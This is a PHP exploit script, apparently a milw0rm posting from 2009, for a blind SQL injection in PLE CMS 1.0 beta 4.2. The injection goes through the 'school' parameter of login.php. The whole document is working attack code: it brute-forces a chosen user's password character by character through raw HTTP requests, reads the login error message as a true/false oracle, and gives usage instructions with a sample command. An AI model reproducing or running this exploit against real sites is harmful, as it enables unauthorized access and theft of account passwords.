--+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- <?php function query ($user, $pos, $chr) { $query = "123 OR ASCII(SUBSTRING((SELECT password FROM users WHERE userID = '{$user}'),{$pos},1))={$chr}"; $query = str_replace (" ", "%20", $query); $query = str_replace ("'", "%27", $query); return $query; } function exploit ($hostname, $path, $user, $pos, $chr) { $chr = ord ($chr); $fp = fsockopen ($hostname, 80); $get = "GET {$path}/login.php?school=" . query ($user, $pos, $chr) . " HTTP/1.1\r\n". "Host: {$hostname}\r\n". "Connection: Close\r\n\r\n"; fputs ($fp, $get); while (!feof ($fp)) $x .= fgets ($fp, 1024); fclose ($fp); if (preg_match ("/ERROR: School not found!/", $x)) return false; else return true; } function usage () { exit ( "\nPLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit". "\n[+] Author: darkjoker". "\n[+] Site : http://darkjoker.net23.net". "\n[+] Download: http://kent.dl.sourceforge.net/sourceforge/plecms/plecms_beta4_2.zip". "\n[+] Usage : php xpl.php <hostname> <path> <username> <key>". "\n[+] Ex. : php xpl.php localhost /PLECMS root abcdefghijklmnopqrstuvwxyz0123456789". "\n\n"); } if ($argc < 4) usage (); $hostname = $argv [1]; $path = $argv [2]; $user = $argv [3]; $key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4]; $chr = 0; $pos = 1; print "\n[+] Password: "; while ($chr < strlen ($key)) { if (exploit ($hostname, $path, $user, $pos, $key [$chr])) { echo $key [$chr]; $chr = 0; $pos++; } else $chr++; } print "\n\n"; # milw0rm.com [2009-01-29]